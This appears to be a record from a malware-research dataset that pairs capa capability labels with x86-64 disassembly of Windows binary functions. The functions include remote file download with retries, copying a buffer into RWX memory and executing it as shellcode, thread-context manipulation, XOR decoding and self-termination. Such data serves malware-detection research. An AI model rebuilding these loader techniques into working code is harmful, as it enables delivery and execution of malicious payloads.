joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001090
Capabilities:
Create thread
Resume thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x410], rax
xor ebx, ebx
mov qword [rsp + 0x70], 0x100001
xorps xmm0, xmm0
mov qword [rsp + 0x40], rbx
mov rdi, rdx
mov qword [rsp + 0x48], rbx
xor edx, edx
mov qword [rsp + 0x50], rbx
mov r8d, 0x100
mov qword [rsp + 0x58], rbx
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x78], rbx
mov qword [rbp - 0x80], rbx
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
mov qword [rbp - 0x50], rbx
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x38], rbx
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], rbx
mov qword [rbp], rbx
mov qword [rbp + 8], rbx
mov qword [rbp + 0x10], rbx
mov qword [rbp + 0x18], rbx
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
mov qword [rbp + 0x30], rbx
mov qword [rbp + 0x38], rbx
mov dword [rbp + 0x40], ebx
mov qword [rbp + 0x44], rbx
mov qword [rbp + 0x4c], rbx
mov qword [rbp + 0x54], rbx
mov dword [rbp + 0x5c], ebx
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
movups xmmword [rbp + 0x90], xmm0
movups xmmword [rbp + 0xa0], xmm0
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rcx, [rbp + 0x240]
xor edx, edx
mov r8d, 0x1a0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x220], xmm0
movups xmmword [rbp + 0x230], xmm0
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x30]
mov qword [rbp + 0x3e0], rbx
mov qword [rsp + 0x28], rax
lea r8, [0x140001070]
xor r9d, r9d
mov dword [rsp + 0x20], 4
xor edx, edx
mov qword [rbp + 0x3e8], rbx
xor ecx, ecx
mov qword [rbp + 0x3f0], rbx
mov qword [rbp + 0x3f8], rbx
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rbx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
jne 0x140001251
lea rcx, str.local_thread_not_created
call fcn.140001010
lea eax, [rbx + 0xb]
jmp 0x1400012a9
mov edx, dword [rsp + 0x30]
lea rcx, str.id_of_created_thread__d_n
call fcn.140001010
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001283
lea rcx, str.got_thread_error_n
call fcn.140001010
xor eax, eax
jmp 0x1400012a9
lea rdx, [rsp + 0x40]
mov qword [rbp + 0x38], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov eax, 1
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140001480
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140001d54
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d9e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d9e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d9e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d9e
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d9e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001da0
xor al, al
add rsp, 0x28
ret
Function at 0x180006e20
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
mov rsi, rdx
mov r8, rdx
mov rdx, rcx
mov rbp, rcx
xor r14d, r14d
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x20], r14
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ebx, eax
mov edi, r14d
nop
test ebx, ebx
jns 0x180006ec2
mov edx, ebx
lea rcx, str.Failed_to_download__HRESULT:_0x_X_n
call fcn.180006dc0
cmp edi, 0xe
jge 0x180006eb4
mov edx, 5
lea rcx, str.Retrying_in__d_seconds..._n
call fcn.180006dc0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r9d, r9d
mov qword [rsp + 0x20], r14
mov r8, rsi
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
inc edi
mov ebx, eax
cmp edi, 0xf
jl 0x180006e60
jmp 0x180006ed1
lea rcx, str.Maximum_retries_reached._Download_failed._n
call fcn.180006dc0
jmp 0x180006ed1
mov rdx, rsi
lea rcx, str.File_downloaded_successfully_to__s_n
call fcn.180006dc0
mov rbp, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret

Function at 0x180006f50
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rdi, qword [rcx + 8]
xor edx, edx
mov rbx, qword [rcx]
mov r9, rdi
sub r9, rbx
mov rsi, rcx
cmp r9, 4
jb 0x180006fb2
lea r8d, [rdx + 4]
lea rax, [rbx + 2]
nop
cmp byte [rax - 2], 0x96
jne 0x180006f9d
cmp byte [rax - 1], 0x3b
jne 0x180006f9d
cmp byte [rax], 0x47
jne 0x180006f9d
cmp byte [rax + 1], 0x5f
jne 0x180006f9d
cmp byte [rax + 2], 0x66
je 0x180006faf
inc r8d
inc edx
movsxd rcx, r8d
inc rax
cmp rcx, r9
jbe 0x180006f80
jmp 0x180006fb2
add edx, 5
lea eax, [rdx + 4]
movsxd rcx, eax
cmp rcx, r9
jb 0x180006fcf
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
movsxd rdx, edx
add rdx, rbx
mov qword [rsp + 0x30], rbp
cmp rbx, rdx
je 0x180006ff8
sub rdi, rdx
mov rcx, rbx
mov r8, rdi
call fcn.180019900
lea rax, [rdi + rbx]
mov qword [rsi + 8], rax
mov rbx, qword [rsi]
mov ecx, 0x20
call fcn.180014918
mov r8d, 0x20
mov rdx, rbx
mov rcx, rax
mov rbp, rax
call fcn.180019900
mov rbx, qword [rsi]
lea rdx, [rbx + 0x20]
cmp rbx, rdx
je 0x180007041
mov rdi, qword [rsi + 8]
mov rcx, rbx
sub rdi, rdx
mov r8, rdi
call fcn.180019900
lea rdx, [rdi + rbx]
mov qword [rsi + 8], rdx
mov rbx, qword [rsi]
jmp 0x180007045
mov rdx, qword [rsi + 8]
lea rax, [rdx - 2]
cmp rax, rdx
je 0x180007055
mov qword [rsi + 8], rax
mov rdx, rax
sub rdx, rbx
mov rcx, rbx
shr rdx, 1
add rdx, rbx
call fcn.180017d5c
mov r8d, dword [rsi + 8]
sub r8d, dword [rsi]
sub r8d, 1
js 0x18000709f
movsxd r9, r8d
mov r10, r9
nop dword [rax]
mov rcx, qword [rsi]
lea r9, [r9 - 1]
mov rax, r10
dec r10
and eax, 0x1f
movzx eax, byte [rax + rbp]
xor byte [rcx + r9 + 1], al
sub r8d, 1
jns 0x180007080
test rbp, rbp
je 0x1800070b1
mov edx, 0x20
mov rcx, rbp
call fcn.180014910
mov rbp, qword [rsp + 0x30]
mov eax, 1
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800070d0
Capabilities:
Copy file
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rsi, qword [0x18005cf98]
xorps xmm0, xmm0
xor eax, eax
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x50], rax
mov rbx, r8
mov eax, 0x414
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x28], 3
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x40], ax
movups xmmword [rsp + 0x30], xmm0
nop dword [rax + rax]
cmp word [rsi + rbx*2 + 2], 0
lea rbx, [rbx + 1]
jne 0x180007120
lea rcx, [rbx + 2]
mov eax, 2
mul rcx
cmovo rax, r8
mov rcx, rax
call fcn.180014954
lea rdx, [rbx + 1]
mov r8, rsi
mov rcx, rax
mov rdi, rax
call fcn.180023470
xor eax, eax
lea rcx, [rsp + 0x20]
mov word [rdi + rbx*2 + 2], ax
mov qword [rsp + 0x30], rdi
call qword [sym.imp.SHELL32.dll_SHFileOperationW]
mov rcx, rdi
mov ebx, eax
call fcn.180014910
mov rsi, qword [rsp + 0x78]
test ebx, ebx
mov rbx, qword [rsp + 0x70]
sete al
add rsp, 0x60
pop rdi
ret
Function at 0x180007720
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov rbx, rcx
test edx, edx
je 0x1800077be
cmp edx, 2
jne 0x1800078f6
lea rax, [rcx + 0x30]
lea rdi, [rcx + 0x48]
cmp rdi, rax
je 0x180007794
mov rsi, qword [rax + 8]
mov r14, qword [rax]
sub rsi, r14
mov rbp, qword [rdi]
mov rax, qword [rdi + 0x10]
sub rax, rbp
cmp rsi, rax
jbe 0x18000777e
mov rdx, rsi
mov rcx, rdi
call fcn.18000ae70
mov rbp, qword [rdi]
mov r8, rsi
mov rdx, r14
mov rcx, rbp
call fcn.180019900
lea rax, [rsi + rbp]
mov qword [rdi + 8], rax
mov rcx, rbx
call fcn.180009ab0
call rax
lea rdx, [0x180052e08]
lea rcx, [0x18005ba10]
call fcn.1800051c0
mov rcx, rax
call fcn.180005430
jmp 0x1800078f6
lea rdi, [rcx + 0x48]
cmp rdi, rbx
je 0x180007804
mov rsi, qword [rcx + 8]
mov r14, qword [rcx]
sub rsi, r14
mov rbp, qword [rdi]
mov rax, qword [rdi + 0x10]
sub rax, rbp
cmp rsi, rax
jbe 0x1800077ee
mov rdx, rsi
mov rcx, rdi
call fcn.18000ae70
mov rbp, qword [rdi]
mov r8, rsi
mov rdx, r14
mov rcx, rbp
call fcn.180019900
lea rax, [rsi + rbp]
mov qword [rdi + 8], rax
mov rcx, rbx
call fcn.180009ab0
mov rdi, rax
mov ecx, 0x208
call fcn.180014954
mov rbx, rax
mov r8d, 0x104
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor esi, esi
test eax, eax
jne 0x18000783d
mov rcx, rbx
call fcn.180014910
mov ebx, esi
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], 7
mov word [rsp + 0x20], si
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rbx + r8*2], si
jne 0x180007860
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.1800037f0
nop
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 8
cmovae rcx, qword [rsp + 0x20]
call rdi
lea rdx, [0x180052df8]
lea rcx, [0x18005ba10]
call fcn.1800051c0
mov rcx, rax
call fcn.180005430
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 8
jb 0x1800078f6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800078f1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007911
call fcn.180014910
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
call fcn.1800233b4
int3
Function at 0x180007920
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x13e0
call fcn.1800405a0
sub rsp, rax
mov rsi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov qword [rcx], r12
mov qword [rcx + 0x10], r12
mov qword [rcx + 0x18], 7
mov word [rcx], r12w
xor r8d, r8d
lea rdx, [0x180051a78]
call fcn.1800037f0
mov ebx, 1
mov dword [rsp + 0x20], ebx
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], 7
mov word [rsp + 0x28], r12w
lea r8d, [r12 + 0x3e]
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
lea rcx, [rsp + 0x28]
call fcn.1800037f0
nop
call fcn.180017d34
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, ebx
mov dword [rsp + rbx*4 + 0x54], eax
inc rbx
cmp rbx, 0x270
jb 0x1800079c0
mov dword [rsp + 0x50], 0x270
mov ebx, dword [rsp + 0x38]
dec ebx
mov ebp, 5
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x28]
nop dword [rax]
cmp ebx, 0xffffffff
jne 0x180007a13
lea rcx, [rsp + 0x50]
call fcn.18000af70
mov edx, eax
jmp 0x180007a51
lea edi, [rbx + 1]
mov ecx, r12d
mov eax, r12d
test ebx, ebx
je 0x180007a31
lea rcx, [rsp + 0x50]
call fcn.18000af70
mov ecx, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov r8d, eax
xor edx, edx
mov eax, ecx
div edi
cmp eax, r8d
jb 0x180007a4b
cmp r9d, ebx
jne 0x180007a16
xor edx, edx
mov eax, ecx
div edi
lea rcx, [rsp + 0x28]
cmp r15, 8
cmovae rcx, r14
movsxd rax, edx
movzx r9d, word [rcx + rax*2]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
cmp rcx, rdx
jae 0x180007a94
lea rax, [rcx + 1]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 8
jb 0x180007a87
mov rax, qword [rsi]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x180007a9c
mov rcx, rsi
call fcn.18000a560
sub rbp, 1
jne 0x180007a00
cmp r15, 8
jb 0x180007add
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x180007ad5
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007afc
mov rcx, r14
call fcn.180014910
mov rax, rsi
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.1800233b4
int3
Function at 0x1800087c0
Capabilities:
Delete file

Disassembly:
push rbx
sub rsp, 0x60
lea r8, str._test.tmp
mov rbx, rdx
lea rcx, [rsp + 0x40]
call fcn.180009f80
cmp qword [rsp + 0x58], 8
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], 0
mov edx, 0x40000000
cmovae rcx, qword [rsp + 0x40]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
jne 0x180008865
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x18000885d
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008858
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800088ec
call fcn.180014910
mov al, 1
add rsp, 0x60
pop rbx
ret
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x58], 8
lea rcx, [rsp + 0x40]
cmovae rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1800088c3
mov rcx, qword [rsp + 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800088be
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800088ec
call fcn.180014910
cmp qword [rbx + 0x18], 8
jb 0x1800088cd
mov rbx, qword [rbx]
lea rdx, str.WindowsApps
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
jne 0x18000885d
add rsp, 0x60
pop rbx
ret
call fcn.1800233b4
int3
Function at 0x180009ab0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdx, qword [rcx + 0x50]
mov rdi, rcx
sub rdx, qword [rcx + 0x48]
mov r8d, 0x3000
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180009b07
lea rdx, str.Failed_to_allocate_memory.
lea rcx, [0x18005b7d0]
call fcn.1800051c0
mov rcx, rax
call fcn.180005430
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rdx, str.Successfully_alloc_memory.
lea rcx, [0x18005ba10]
call fcn.1800051c0
mov rcx, rax
call fcn.180005430
mov rdx, qword [rdi + 0x48]
mov r8, rbx
mov rax, qword [rdi + 0x50]
sub rax, rdx
cmp rbx, rdx
jae 0x180009b56
test rax, rax
je 0x180009b85
nop word [rax + rax]
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
mov byte [r8], cl
lea r8, [r8 + 1]
sub rax, 1
jne 0x180009b40
jmp 0x180009b85
lea r8, [rdx - 1]
lea r9, [rax - 1]
add r8, rax
add r9, rbx
test rax, rax
je 0x180009b85
nop dword [rax]
movzx edx, byte [r8]
lea r8, [r8 - 1]
mov byte [r9], dl
lea r9, [r9 - 1]
sub rax, 1
jne 0x180009b70
call rbx
lea rdx, [0x180053280]
mov rbx, rax
lea rcx, [0x18005ba10]
call fcn.1800051c0
mov rcx, rax
call fcn.180005430
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18000af70
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x18000afd1
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x18000af90
mov ecx, dword [r10]
jmp 0x18000b0ba
cmp ecx, 0x4e0
jb 0x18000b0ba
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x18000aff0
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x18000b040
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x18000b100
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
lea r11, [0x180052430]
mov r9, rdx
not ecx
cmp r8, 4
jb 0x18000b179
mov r10, r8
shr r10, 2
imul rax, r10, 0xfffffffffffffffc
add r8, rax
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
add r9, 4
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x18000b120
test r8, r8
je 0x18000b19d
nop
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r8, 1
jne 0x18000b180
not ecx
mov eax, ecx
ret
Function at 0x18000d610
Capabilities:
Compute adler32 checksum

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
test rcx, rcx
jne 0x18000d63c
test r8, r8
je 0x18000d62c
xor esi, esi
mov qword [r8], rsi
mov eax, 0xfffffffe
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
xor esi, esi
mov qword [rsp + 0x30], rbx
mov qword [rcx + 0x98], r8
lea rbx, [0x1800519eb]
mov qword [rcx + 0x88], rbx
mov qword [rcx + 0xb0], rbx
mov qword [rcx + 0x90], rsi
mov qword [rcx + 0xa0], rsi
test r8, r8
je 0x18000d677
mov rax, qword [r8]
jmp 0x18000d67a
mov rax, rsi
mov qword [rcx + 0xb8], rax
mov qword [rcx + 0xc0], rsi
mov dword [rcx + 0xa8], 4
cmp qword [rcx], rsi
je 0x18000d854
cmp dword [rcx + 0x84], esi
jne 0x18000d854
or dword [rcx + 0x80], 1
cmp dword [rcx + 0x74], esi
jne 0x18000d839
cmp dword [rcx + 0x78], esi
jne 0x18000d839
call fcn.18000cc80
test eax, eax
je 0x18000d819
test dword [rdi + 0x10], 0x3000
je 0x18000d7f5
mov r11, qword [rdi + 0xb0]
movabs rax, 0x79baa6bb6398b6f7
mov r8d, dword [rdi + 0x20]
sub r11, rbx
mul r11
mov rax, r11
movzx ecx, r8w
sub rax, rdx
shr r8d, 0x10
shr rax, 1
mov r9, r11
add rax, rdx
shr rax, 0xc
imul rax, rax, 0x15b0
sub r9, rax
test r11, r11
je 0x18000d7ea
mov edx, esi
cmp r9, 7
jbe 0x18000d79a
mov r10d, 7
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbx]
add r10d, 8
add ecx, eax
add edx, 8
movzx eax, byte [rbx + 1]
add r8d, ecx
add ecx, eax
movzx eax, byte [rbx + 2]
add r8d, ecx
add ecx, eax
movzx eax, byte [rbx + 3]
add r8d, ecx
add ecx, eax
movzx eax, byte [rbx + 4]
add r8d, ecx
add ecx, eax
movzx eax, byte [rbx + 5]
add r8d, ecx
add ecx, eax
movzx eax, byte [rbx + 6]
add r8d, ecx
add ecx, eax
movzx eax, byte [rbx + 7]
add r8d, ecx
add ecx, eax
add rbx, 8
add r8d, ecx
mov eax, r10d
cmp rax, r9
jb 0x18000d740
mov eax, edx
cmp rax, r9
jae 0x18000d7b5
movzx eax, byte [rbx]
inc edx
add ecx, eax
inc rbx
add r8d, ecx
mov eax, edx
cmp rax, r9
jb 0x18000d7a1
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul eax, edx, 0xffff000f
add ecx, eax
mov eax, 0x80078071
mul r8d
shr edx, 0xf
imul eax, edx, 0xffff000f
add r8d, eax
sub r11, r9
mov r9d, 0x15b0
jne 0x18000d723
shl r8d, 0x10
lea eax, [r8 + rcx]
mov dword [rdi + 0x20], eax
cmp dword [rdi + 0x28], esi
jne 0x18000d836
cmp qword [rdi + 0xb8], rsi
jne 0x18000d836
cmp dword [rdi + 0x74], esi
jne 0x18000d836
mov edx, 4
mov rcx, rdi
call fcn.18000c4c0
test eax, eax
jns 0x18000d82f
mov eax, dword [rdi + 0x84]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov dword [rdi + 0x78], 1
mov rcx, rdi
call fcn.18000d560
mov rbx, qword [rsp + 0x30]
mov dword [rdi + 0x84], eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
test r8, r8
je 0x18000d85c
mov qword [r8], rsi
mov rbx, qword [rsp + 0x30]
mov eax, 0xfffffffe
mov rsi, qword [rsp + 0x38]
mov dword [rcx + 0x84], 0xfffffffe
add rsp, 0x20
pop rdi
ret
Function at 0x18002365c
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180032788
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180032788
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800237ac
cmp rax, 0xffffffffffffffff
je 0x1800237ac
xor edi, edi
test rbp, rbp
jle 0x180023757
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.18002c39c
mov rbx, rax
test rax, rax
jne 0x1800236e4
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x18002374d
mov edx, 0x8000
mov ecx, r14d
call fcn.18003176c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.180032210
cmp eax, 0xffffffff
je 0x18002372d
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800236f4
mov edx, r15d
mov ecx, r14d
call fcn.18003176c
jmp 0x18002374d
cmp byte [rsi + 0x38], dil
je 0x180023744
cmp dword [rsi + 0x34], 5
jne 0x180023744
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x18002374d
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18002c414
jmp 0x1800237c0
jns 0x1800237c0
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180032788
cmp rax, 0xffffffffffffffff
jne 0x180023778
cmp byte [rsi + 0x30], dil
je 0x1800237c0
mov edi, dword [rsi + 0x2c]
jmp 0x1800237c0
mov ecx, r14d
call fcn.1800316c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800237c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
